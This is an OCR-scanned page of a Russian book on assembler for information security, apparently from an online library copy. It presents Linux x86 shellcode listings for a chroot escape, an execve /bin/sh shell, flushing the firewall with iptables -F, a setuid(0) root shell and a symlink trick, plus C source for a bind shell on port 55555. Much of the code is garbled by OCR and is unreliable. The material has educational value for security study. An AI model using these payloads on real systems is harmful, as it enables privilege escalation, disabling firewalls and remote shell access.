Анимация
JavaScript
|
Главная Библионтека Ассемблер в задачах защиты информации; помещаем указатель на вершину стека в регистр %еЬх; в регистр %еах помещаем номер системного вызова chroot и передаем управление ядру Код программы, написанной на ассемблере под компилятор nasm, приведен ниже. BITS 32 main: xor есх,есх xor еах,еах push есх raov с1,30 raain push: push byte Dx2e loop raain push raov cl,30 raain inc: dec cl inc byte [esp+ecx] dec cl loop raain inc raov ebx,esp mov al,61 int 0x80 Tot же код для компилятора as. .text .global main main: обнуляем регистры %eax,%ecx xorl %есхДесх xorl leax,%eax сохраняем %ecx, как конец строки pushl %ecx устанавливаем счетчик raovb $30,%cl-raain push: сохраняем код символа . pushb $0x2e выполняем это действие 30 раз loop $main push снова выставляем значение счетчика raovb $30,%с1 raain inc: уменьшаем %с1 и увеличиваем значение lesp+%ecx decb %с1 incb (%esp)%ecx decb %cl ra.l..:?.?...?.f?.?..?.]fP4U0HH0u системе Linux loop $raain inc указатель вершины стека помещаем в регистр lebx, который служит для хранения первого и единственного параметра функции raovl esp,lebx /эызов функции raovb $0x3d,%al int $0x80 Вообще говоря передача параметров через стек, из всех Unix-систем наибол характерна для BSD. Но как будет показано ниже, можно, используя эту т хнолог; создавать очень компактный код. icAHOJiorni 4.6. Advanced execveQ shell-code Рассмотрим пример shell-кода, в котором параметры будут храниться в стеке, а i в сегменте кода, что существенно сократит размер самой программы. Алгоритм следующий: обнуляем регистр %еах и помещаем его в стек - это будет наш NULL; в обратном порядке записываем строку in/sh в стек; I в регистр %еЬх помещаем указатель на вершину стека; I расширяем двойное слово до учетверенного и помещаем старшую часть в стек; помещаем в стек указатель на /bin/sh#AAAA и в %есх помещаем значение указател вершины стека. Пример программы. text global raain Min: xorl .=ushl Pttshl Pashl Jovi :itci ?4shi at St %еахДеах %eax $0x68732f6e $0x69622f2f %esp,%ebx %edx lebx %esp,ecx $Oxb,%al $0x80 Код выглядит очень красиво, подобных встречается достаточно много, но написаны под BSD-системы. Данный экземпляр является чуть ли не самым коротким для Linux. Стоит отметить использованный прием - однобайтное обнуление регистра %(. Здесь применяется команда cltd, расширяющая двойное слово из %еах до учетвереннс;, слова в %edx, %еах. Аналогичная команда cdq. AT&T предложила в своем синтаксисе преобразование типов команду из четыре символов СхТу, где х - размер источника, у - размер приемника. В некоторых зЬеИ-кодах в самом начале встречаются такие команды, как cdq или сщ Такие sheil-коды могут работать неправильно, так как неизвестно, что находилось в регистре %ах или %еах до выполнения shell-кода. Хотя, безусловно, экономия налицо. 4.7. Несгавдартное использование функции execveQ Заголовок несколько обманчивый. ExecveQ будет использоваться вполне стандартно. Только вызывать он будет не /bin/sh, а программы, критически важные для системы. Так, выполняя /sbin/iptables -F можно нарушить работу firewall, что, несомненно, скомпрометирует безопасность сервера. Ниже приведен код программы. 9 .text .global start start: обнуляем регистр .%edx и сохраняем его в стеке - ЛО xorl ledx,%edx pushl %edx сохраняем в стеке слово -F в обратном порядке pushw $0x462d помещаем указатель вершины стека в регистр %esi и снова вставлем \0 в стек raovl %esp,%esi pushl %edx помещаем /sbin/iptables в стек в обратном порядке pushl $0х73656с62 pushl $0x61747069 сохраняем указатель вершины в регистре ledi в стеке находится iptables в обратном порядке raovl %esp,%edi pushl $0x2f6e6962 pushl $0x732f2f2f сохраняем a %ebx указатель вершины стека и сохраняем в стеке следующие значения: \0 указатель на -F\0 указатель на 4ptables\0 movl %esp,%ebx pushl %edx pushl %esi %edi мяносим в регистр %есх адрес структуры паше (см. первый пример) 11 %esp,%ecx \ :/вЫПОЛНяем execveO , %еах,1еах \ -i $bxb,%al f $0x80 Приведенный код интересен не только по алгоритму, но и по характеру выполняемых действий. Не всегда firewall разрешает подсоединяться к серверу изнутри сети к определенным сервисам. Этот shell-code показывает, что во многих случаях уверенность системных администраторов в неуязвимости их серверов безосновательна. 4.8. Использование бита s Бит S устанавливается программой chmod для предоставления прав владельца файла исполнителю на время выполнения программы. В системе много программ, которые используют эту возможность, например для открытия одного из портов, находящихся 3 промежутке 0-1024. Такие программы обычно после действий, требующих особых прав, возвращают исходные права процессу, т. е. права владельца процесса, права исполнителя. Вернуться к правам владельца файла можно из любого места программы, и этим пользуются хакеры, ведь переполнение буфера или другие ошибки возможны совсем не в момент владения особыми полномочиями. Shell-код для такого вызова достаточно прост, и, возможно, не стоило уделять ему особого внимания, однако следует заметить, что данный вызов используется практически во всех shell-кодах для повышения привилегий процесса. Пример программы, вызывающей /bin/sh с привилегиями суперпользователя. .:ext •global start start: pushl leai Puslii pushl lovl pushl pushl Jiovi Sovb %ebx 0xl7(lebx),%eax $0x80 $0x68732f6e $0x69622f2f lesp, %ebx %eax %ebx %esp, lecx $Oxb, %al $0x80 286 Ассемблер в задачах защиты инфор, Первый системный вызов программы - setuid(O). Именно он устанавливает текущ права пользователя root. 4.9. Использование symlinkQ Иногда хакеры используют нестандартные действия, например создание символич ской ссылки на /bin/sh в текущем каталоге. Казалось бы, вещь соверщенно ненужна, Но бывают такие ситуации, когда, например, при помощи предоставленной оболочкц нельзя выйти из текущей директории. В этом случае есть необходимость создать cchщ и поместить ее в текущую директорию или предоставить какому-то процессу дост\п к оболочке по другому имени. Ниже приведен пример программы с использованием синтаксиса intel (nasm): BITS 32 jmp short callit doit: pop esi xor eax,eax mov byte [esi+7],al mov byte [esi+10] ,al mov byteal,83 lea lea callit: call db ebx,[esi] ecx,[esi+8] 0x80 doit /bin/sh#sh# И синтаксиса AT&T: .text .global start start: ]rap doit: popl xorl movb movb movb leal leal callit: call .string $callit %esi %eax,*eax %al,7(%esi) %al,10(%esi) •$83,%al (%esi),%ebx 8(%esi),%ecx $0x80 $doit 7bin/sh#sh# 4 Ассемблер в опер)ационной системе Linux 287 \ав.7.............................. достаточно просто. Пример приведен для демонстрации неординарности исполь-ания shell-кодов. При защите своей системы следует учитывать все варианты. 410. Написание shell-кода с использованием сисгемньк вызовов socketQ Port-shell - программа, открывающая доступ к оболочке удаленно подключившемуся одьзователю. Хакеры используют port-shell на различных хостинговых серверах, для го чтобы получить доступ к командному интерпретатору. Программа на С, открывающая на определенном порту командный интерпретатор с правами пользователя, запустившего этот процесс. int soc,cli; struct sockaddr in serv addr; struct sockaddr in cli addr; int mainO if(fork()==0) { serv addr.sin faraily=AF INET; -serv addr.sin addr.s adar=htonl(INADDR ANY); serv addr.sin port=htons(55555); soc=socket(AF INET,SOCK STREAM,0); bind(soc,(struct sockadSr *)Sserv addr, sizeof(serv addr)); listen(soc,l); cli=accept(soc,(struct sockaddr *)Scli addr, sizeof(cli ad3r)); dup2(cli,0); dup2(cli,l); dup2(cli,2); execl("/bin/sh","sh",0); Алгоритм следующий: заполнение структуры, отвечающей за сервер: номер порта, протокол, адрес, к которому нужно привязать сервер; системный вызов socket() для создания сокета (socket); привязка к сокету структуры, описывающей настройки сервера; вход в режим прослушивания для одного подключения; создание экземпляра сокета, который будет отвечать за работу с клиентом; дублирование дескрипторов стандартных устройств; Выполнение оболочки. 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 [ 45 ] 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 |